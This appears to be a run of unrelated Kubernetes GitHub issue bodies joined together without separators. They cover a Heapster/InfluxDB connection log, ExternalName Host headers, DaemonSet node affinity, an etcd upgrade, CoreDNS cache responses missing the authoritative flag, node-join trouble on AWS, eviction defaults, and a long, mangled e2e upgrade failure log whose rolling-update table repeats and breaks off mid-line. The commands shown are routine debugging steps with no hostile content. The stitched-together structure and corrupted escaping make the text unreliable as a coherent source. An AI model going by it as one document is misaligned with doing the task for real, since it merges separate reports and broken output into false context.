client with master \ https://kubernetes.default\  and version v1\r i1019 07:55:27.095689       1 configs.go:62  using kubelet port 10255\r e1019 07:57:34.402077       1 influxdb.go:238  issues while creating an influxdb sink: failed to ping influxdb server at \ monitoring-influxdb.kube-system.svc:8086\  - get http://monitoring-influxdb.kube-system.svc:8086/ping: dial tcp 10.254.240.164:8086: getsockopt: connection timed out, will retry on use\r i1019 07:57:34.402146       1 influxdb.go:252  created influxdb sink with options: host:monitoring-influxdb.kube-system.svc:8086 user:root db:k8s\r i1019 07:57:34.402173       1 heapster.go:196  starting with influxdb sink\r i1019 07:57:34.402182       1 heapster.go:196  starting with metric sink\r i1019 07:57:34.420325       1 heapster.go:106  starting heapster on port 8082\r i1019 07:58:05.149341       1 influxdb.go:215  created database \ k8s\  on influxdb server at \ monitoring-influxdb.kube-system.svc:8086\ \r    \r calico network is ok ,anybody can help me ?\r \r  kubectl command

now just think of one use cases:  \r \r 1. we want to support audit log for admission plugins.\r 2. pass something through admission plugins\r

 \r   what happened  :\r defining a service with externalname is useless for http services because requests not includes host header.\r \r   what you expected to happen  :\r use externalname value in \ host\  header by default.\r optionally, add anothe extra headers.\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: gcloud\r \r 

  related to  59194\r \r when the scheduledaemonsetpods alpha feature is enabled, the daemonset controller creates pods with affinity terms that depend on the  kubernetes.io/hostname  label on a node being equal to the node name.\r \r that is  not  a valid assumption. node name and hostname are distinct and are definitively known to be different in some clusters.\r \r if the daemonset wants to use scheduling to assign pods to nodes, it must do so with a scheduling predicate that deterministically resolves to the desired node and only the desired node  e.g. not a label that could match nodes other than the desired node

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : \r @timothysc noticed that when checking etcd versions, it doesn’t look like to be properly updated in master. client is 3.3 but the images don’t appear to be updated. docker pull k8s.gcr.io/etcd-amd64:3.3.10 - doesn’t exist. \r \r   what you expected to happen  :\r for the 1.13 cycle we need to pickup etcd 3.3 which following changelog - https://github.com/etcd-io/etcd/blob/master/changelog-3.3.md v3310-2018-10-10\r \r /assign @jpbetz \r /cc @timothysc \r  / /milestone v1.13\r

what happened  :\r \r i made multiple dns queries from within a pod to  kubernetes.default.svc.cluster.local .\r \r   what you expected to happen  :\r \r i expected all queries to return  aa  flags and be authoritative responses, but instead some responses included  aa  and some did not.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i can reproduce this in a  kind  https://github.com/kubernetes-sigs/kind  cluster by running the following:\r \r    \r kind create cluster --image \ kindest/node:v1.14.0\ \r export kubeconfig=$ kind get kubeconfig-path \r kubectl run tmp --rm -it --image alpine -- /bin/sh -c 'apk update && apk add bind-tools && sh'\r    \r \r and inside of the alpine container repeatedly running the following command:\r \r    \r host -v -t a kubernetes.default.svc.cluster.local\r    \r \r some results will return  aa  in the flags:\r \r    \r ;; flags: qr aa rd; query: 1, answer: 1, authority: 0, additional: 0\r    \r \r and some will not:\r \r    \r ;; flags: qr rd; query: 1, answer: 1, authority: 0, additional: 0\r    \r \r you can alternatively use  nslookup  which returns the following if the  aa  flags are missing:\r \r    \r /   nslookup kubernetes.default.svc.cluster.local\r server:\t\t10.96.0.10\r address:\t10.96.0.10 53\r \r non-authoritative answer:\r name:\tkubernetes.default.svc.cluster.local\r address: 10.96.0.1\r    \r \r   anything else we need to know?  :\r \r i used  kind  on my local laptop to make the recreation steps simple, but i was able to reproduce this on multiple clusters including clusters running on aws. between all of the clusters i have reproduced this on  kubeadm  https://github.com/kubernetes/kubeadm  was involved in the deployment of the cluster.\r \r this problem can be worked around by disabling cache. you can disable cache in  coredns  by removing  cache 30  from the  corefile   e.g.  kubectl -n kubesystem edit configmap coredns  . shouldn't cached dns results from the authoritative nameserver be authoritative?\r \r   environment  :\r \r - kubernetes version  use  kubectl version  : v1.14.0\r - cloud provider or hardware configuration: aws\r - os  e.g:  cat /etc/os-release  : ubuntu 18.04 and centos 7\r - kernel  e.g.  uname -a  :  ubuntu  4.15.0-47-generic and  centos  3.10.0-957.1.3.el7.x86_64\r - install tools: kubeadm\r

hi, i am unable to join the nodes to my cluster.i have created kubernetes cluster master and node in my aws environment using terraform tool.i am able to create the master kube-master  and single node kube-node  but my other two nodes  kude-node1 and kube-node2  were unable to join in cluster.  core@master ~ $ ./kubectl get no name        labels                             status 10.0.0.31   kubernetes.io/hostname=10.0.0.31   ready  core@master ~ $ ./kubectl version   client version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.1\ , gitcommit:\ 6a5c06e3d1eb27a6310a09270e4a5fb1afa93e74\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.7\ , gitcommit:\ e4e6878293a339e4087dae684647c9e53f1cf9f0\ , gittreestate:\ clean\ }  attached are my master and nodes cloud-config files.   master.txt  https://github.com/kubernetes/kubernetes/files/134145/master.txt   node.txt  https://github.com/kubernetes/kubernetes/files/134144/node.txt   node1.txt  https://github.com/kubernetes/kubernetes/files/134143/node1.txt   node2.txt  https://github.com/kubernetes/kubernetes/files/134146/node2.txt

memory based evictions is currently opt-in and disk based evictions will also be opt-ins only.\r both of these features are useful to almost all kubernetes users. some informed users might want to tune these features to meet their infrastructures requirements.\r i propose enabling these features by default in a release after the one where they are introduced.\r specifically,\r - enable memory based disk evictions by default  opt-out  in v1.4. this requires identifying a sane default for eviction thresholds. i propose setting the thresholds to  100mi . set the default value of  --eviction-hard  to  memory.available<100mi \r - enable disk based evictions by default  opt-out  in v1.5. defaults for eviction thresholds can be  10%  for both root and image partition space and inodes. set the default value of  --eviction-hard  to  memory.available<100mi,nodefs.available<10%,nodefs.inodesfree<10%,imagefs.available<10%,imagefs.inodesfree<10% \r \r these defaults are meant to work on all supported configurations, specifically disk based evictions.\r if a node has a unified image and root partition, the thresholds on image partition should be a no-op.\r \r cc @kubernetes/sig-node @derekwaynecarr \r \r   status as of v1.6:  \r - memory eviction is enabled by default. https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/componentconfig/v1alpha1/defaults.go l372\r - inodes and disk usage based evictions do not have defaults.\r

failure cluster  728c3f4daf9816b35002  https://go.k8s.io/triage 728c3f4daf9816b35002        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:160 expected error:     < errors.errorstring | 0xc420f82090>: {         s: \ error running /workspace/kubernetes_skew/cluster/gce/upgrade.sh  -n v1.5.8-beta.0.14+750b2a4d703b15 ; got error exit status 1, stdout \\\ == pre-upgrade node os and kubelet versions ==\\\ name: \\\\\\\ bootstrap-e2e-master\\\\\\\ , osimage: \\\\\\\ container-optimized os from google\\\\\\\ , kubeletversion: \\\\\\\ v1.6.5-beta.0.29+dcd478cf1a2862\\\\\\\ \\\ name: \\\\\\\ bootstrap-e2e-minion-group-9gvm\\\\\\\ , osimage: \\\\\\\ debian gnu/linux 7  wheezy \\\\\\\ , kubeletversion: \\\\\\\ v1.6.5-beta.0.29+dcd478cf1a2862\\\\\\\ \\\ name: \\\\\\\ bootstrap-e2e-minion-group-h8bb\\\\\\\ , osimage: \\\\\\\ debian gnu/linux 7  wheezy \\\\\\\ , kubeletversion: \\\\\\\ v1.6.5-beta.0.29+dcd478cf1a2862\\\\\\\ \\\ name: \\\\\\\ bootstrap-e2e-minion-group-qbj1\\\\\\\ , osimage: \\\\\\\ debian gnu/linux 7  wheezy \\\\\\\ , kubeletversion: \\\\\\\ v1.6.5-beta.0.29+dcd478cf1a2862\\\\\\\ \\\ == ensuring that new node base os image matched the existing node base os image\\\ instance template name: bootstrap-e2e-minion-template-v1-5-8-beta-0-14-750b2a4d703b15\\\ == failed to start rolling-update: ==\\\ error:  gcloud.alpha.compute.rolling-updates.start  httperror 412: there already exists an update in a non-terminal state.\\\   this may be due to a preexisting rolling-update;\\\   see https://github.com/kubernetes/kubernetes/issues/33113 for details.\\\   all rolling-updates in project k8s-gce-dg-1-6-1-5-dwngr-clu zone us-central1-f:\\\ id                                    group_name                  template_name                                                  status      status_message\\\ 5375816b-5999-4050-b04a-3c3b1b562f64  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  paused      3/3 instances updated; errors: condition_not_met  too many  1 > 0  instances failed. \\\ b15c1e5f-396e-4c6a-bd8d-d8434a978edd  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ bd5bb104-0815-4f99-9109-a57e47eab389  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 9214c5ec-6db7-45cd-b8e7-cdc9c5da56f9  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ dda1b59b-a5a2-43c2-9814-f3f32f14a5a2  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ b309a491-857c-4e1a-9887-86364d2153b2  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ cb2606dd-c2d0-482f-b70d-16cc87cfa946  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 410cfd5f-eae7-48af-ab6e-e293f3af861f  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 691d9e19-9065-4900-ad3d-d202c7d69eaa  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ fd0a3957-4ee2-46d9-98f4-da275cb6e89e  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ a921e015-c816-401b-b01b-ba00158775d0  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 0df5134a-44bf-4ab5-8555-322478e68847  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ b17b018e-000d-4ce4-94f5-f633bba31922  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ da945043-9c20-451a-bdfd-780142ced111  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ b7e92c81-ba13-4f3e-be3f-945be3cb0b5e  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 81306c33-3543-47ad-931a-fe3624b93091  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 5a3d3bc3-7f27-48b3-846a-fe6c9728e1bd  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ fc4a1215-8c33-4cb6-9252-c4628a6bcb52  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 735b3220-dc4c-4d4a-938a-94bf6cd10b7f  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 48909c41-08fe-4fed-8e88-694d9bcda334  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 746e3fbf-fc0d-4908-b764-b4dab130d3ed  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ b4988316-0d2f-42a4-ba99-f3126b732dcb  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 2afc3ade-4051-4276-9790-1b5d9ecad54e  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ e2d06815-570c-48a9-ac48-410c0945ef1f  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 567b146e-f183-4361-b9fe-4b31d99867fb  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 88ecba5e-b03b-4c4d-8220-9d4b9f186339  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 844000d6-c5a6-4496-bce3-146f5645873a  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 5da7be0e-5128-41ac-8e1e-da20bda60631  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 9f794c06-e1c4-410b-8c87-a60c84e308ad  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 12494f81-ec4c-4591-bf67-95c7b74e5d45  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 64d94ecf-b82a-4663-ab47-93298b29bfc5  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 917b059d-8527-4ced-9586-79db7fee5c95  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 9da82c85-0a2b-475e-8de7-a7911af7befd  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 5d9760d6-d2c6-4321-bdcc-35b79045ec92  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 887d94b3-4c62-439b-9fb7-3a8d99e53d20  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 0cb68b23-9f4e-45d6-b76a-6e41f7ac0d68  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ ff1774d1-e3ed-4ce8-a217-711fde4296ef  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 7a1d68ea-aa38-440b-9016-c4cbd5dd489b  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 238ba78b-d1c6-4ac7-9c34-7cbe8231589a  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ cc8fb6f3-2054-4695-a6c5-9f3b0cf567a3  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 2a2f9fce-7baf-4398-8ec8-1baccee5958d  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 6733f40b-71c1-433e-a25c-c3b837c09e6c  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 52f56c45-4fa2-4a54-b3ef-544bac989d74  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 50999475-6c72-4389-ab47-a2ea6e81f4e3  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ db53f5a7-76ca-43d6-b2e0-b544a6aa144c  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 8fa0cde5-05c1-48f8-abf8-96a751751afb  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ f0ceaf6d-3f29-428b-9171-11c7d057cf16  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ 1f9a3744-cd18-478b-b2fe-2116f86d4bc1  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\\\ a7724c74-ac73-4af6-a582-5db23c619067  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\\\ 25d357a7-9829-42be-a607-0531b298e697  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\\\ c1606ba9-fdb8-43f7-b811-001a97b60c48  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\\\ bfec9ad3-ab2f-4583-9f12-274efcc27624  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\\\ 825d787e-7ed6-4980-b27b-3ddedd324823  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\\\ 0717b7e8-217c-4bfe-8106-33c1b4ed65cb  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\\\ 77089b3c-52c1-4c93-9a89-49b7aee5d784  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\\\ 2ac13f71-8a65-47c2-afac-a2679aed015e  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\\\ f902c8e8-4eb8-43d5-9156-39cb485e9978  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-22-eacda95c363562  rolled_out  3/3 instances updated\\\ 945b0e9d-eab5-44b4-9a8f-8b49bca438e5  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\\\ 9da090df-12f5-4b53-85fc-d0ddd8818199  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\\\ 8044febf-4ebc-4cf0-80dc-e203989e9e0e  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\\\ ad74c367-f1c6-442e-9af1-05ccce43b5c7  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\\\ 564f2bec-1bd9-43e4-9c27-7321d94f569a  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\\\ 2bcc0d5e-7efb-4289-a86a-c7f55adfb581  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\\\ 47e8028b-823d-4fe0-b871-cba4c4b43b0c  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-18-52f6d3fbfb3396  rolled_out  3/3 instances updated\\\ 3e6882f2-71c7-40f7-a5d1-8d6ebd9c917c  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-16-3793a865536153  rolled_out  3/3 instances updated\\\ 62345f0f-8dfa-4cd9-aa56-774a6e3fb7ac  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-16-3793a865536153  rolled_out  3/3 instances updated\\\ fb6c4439-dddf-48cf-bd33-c3c5281a76a7  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\\\ a3d165f6-d4aa-48a9-b19a-ff7785bdb7bf  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\\\ bcc79e16-aca5-4f14-a0b1-19409c7bc196  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\\\ 09fcb767-1e4d-4e8c-80c6-fb7663024751  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\\\ 9a8134f3-6ddb-4c97-8b42-ad6c1e401f3f  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\\\ 8e766cb5-df4e-4efa-bd76-955f53a00d4c  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\\\ e26f70c9-17ee-4e75-8953-d52e2a8c670f  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\\\ acf840bc-ea52-4408-ac05-4cea3f647149  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\\\ \\\ , stderr \\\ project: k8s-gce-dg-1-6-1-5-dwngr-clu\\\ zone: us-central1-f\\\ instance_groups=bootstrap-e2e-minion-group\\\ node_names=bootstrap-e2e-minion-group-9gvm bootstrap-e2e-minion-group-h8bb bootstrap-e2e-minion-group-qbj1\\\ == preparing node upgrade  to v1.5.8-beta.0.14+750b2a4d703b15 . ==\\\ warning: permanently added 'compute.360874364351051701'  ecdsa  to the list of known hosts.\\\\r\\\ instance template bootstrap-e2e-minion-template-v1-5-8-beta-0-14-750b2a4d703b15 already exists; deleting.\\\ attempt 1 to create bootstrap-e2e-minion-template-v1-5-8-beta-0-14-750b2a4d703b15\\\ warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks pdperformance.\\\ created  https://www.googleapis.com/compute/v1/projects/k8s-gce-dg-1-6-1-5-dwngr-clu/global/instancetemplates/bootstrap-e2e-minion-template-v1-5-8-beta-0-14-750b2a4d703b15 .\\\ name                                                           machine_type   preemptible  creation_timestamp\\\ bootstrap-e2e-minion-template-v1-5-8-beta-0-14-750b2a4d703b15  n1-standard-2               2017-05-18t09:29:13.708-07:00\\\ == finished preparing node upgrade  to v1.5.8-beta.0.14+750b2a4d703b15 . ==\\\ == upgrading nodes to v1.5.8-beta.0.14+750b2a4d703b15. ==\\\ == calling rolling-update for bootstrap-e2e-minion-group. ==\\\ \\\ \ ,     }     error running /workspace/kubernetes_skew/cluster/gce/upgrade.sh  -n v1.5.8-beta.0.14+750b2a4d703b15 ; got error exit status 1, stdout \ == pre-upgrade node os and kubelet versions ==\ name: \\\ bootstrap-e2e-master\\\ , osimage: \\\ container-optimized os from google\\\ , kubeletversion: \\\ v1.6.5-beta.0.29+dcd478cf1a2862\\\ \ name: \\\ bootstrap-e2e-minion-group-9gvm\\\ , osimage: \\\ debian gnu/linux 7  wheezy \\\ , kubeletversion: \\\ v1.6.5-beta.0.29+dcd478cf1a2862\\\ \ name: \\\ bootstrap-e2e-minion-group-h8bb\\\ , osimage: \\\ debian gnu/linux 7  wheezy \\\ , kubeletversion: \\\ v1.6.5-beta.0.29+dcd478cf1a2862\\\ \ name: \\\ bootstrap-e2e-minion-group-qbj1\\\ , osimage: \\\ debian gnu/linux 7  wheezy \\\ , kubeletversion: \\\ v1.6.5-beta.0.29+dcd478cf1a2862\\\ \ == ensuring that new node base os image matched the existing node base os image\ instance template name: bootstrap-e2e-minion-template-v1-5-8-beta-0-14-750b2a4d703b15\ == failed to start rolling-update: ==\ error:  gcloud.alpha.compute.rolling-updates.start  httperror 412: there already exists an update in a non-terminal state.\   this may be due to a preexisting rolling-update;\   see https://github.com/kubernetes/kubernetes/issues/33113 for details.\   all rolling-updates in project k8s-gce-dg-1-6-1-5-dwngr-clu zone us-central1-f:\ id                                    group_name                  template_name                                                  status      status_message\ 5375816b-5999-4050-b04a-3c3b1b562f64  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  paused      3/3 instances updated; errors: condition_not_met  too many  1 > 0  instances failed. \ b15c1e5f-396e-4c6a-bd8d-d8434a978edd  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ bd5bb104-0815-4f99-9109-a57e47eab389  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 9214c5ec-6db7-45cd-b8e7-cdc9c5da56f9  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ dda1b59b-a5a2-43c2-9814-f3f32f14a5a2  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ b309a491-857c-4e1a-9887-86364d2153b2  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ cb2606dd-c2d0-482f-b70d-16cc87cfa946  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 410cfd5f-eae7-48af-ab6e-e293f3af861f  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 691d9e19-9065-4900-ad3d-d202c7d69eaa  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ fd0a3957-4ee2-46d9-98f4-da275cb6e89e  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ a921e015-c816-401b-b01b-ba00158775d0  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 0df5134a-44bf-4ab5-8555-322478e68847  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ b17b018e-000d-4ce4-94f5-f633bba31922  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ da945043-9c20-451a-bdfd-780142ced111  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ b7e92c81-ba13-4f3e-be3f-945be3cb0b5e  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 81306c33-3543-47ad-931a-fe3624b93091  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 5a3d3bc3-7f27-48b3-846a-fe6c9728e1bd  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ fc4a1215-8c33-4cb6-9252-c4628a6bcb52  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 735b3220-dc4c-4d4a-938a-94bf6cd10b7f  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 48909c41-08fe-4fed-8e88-694d9bcda334  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 746e3fbf-fc0d-4908-b764-b4dab130d3ed  bootstrap-e2e-minion-group  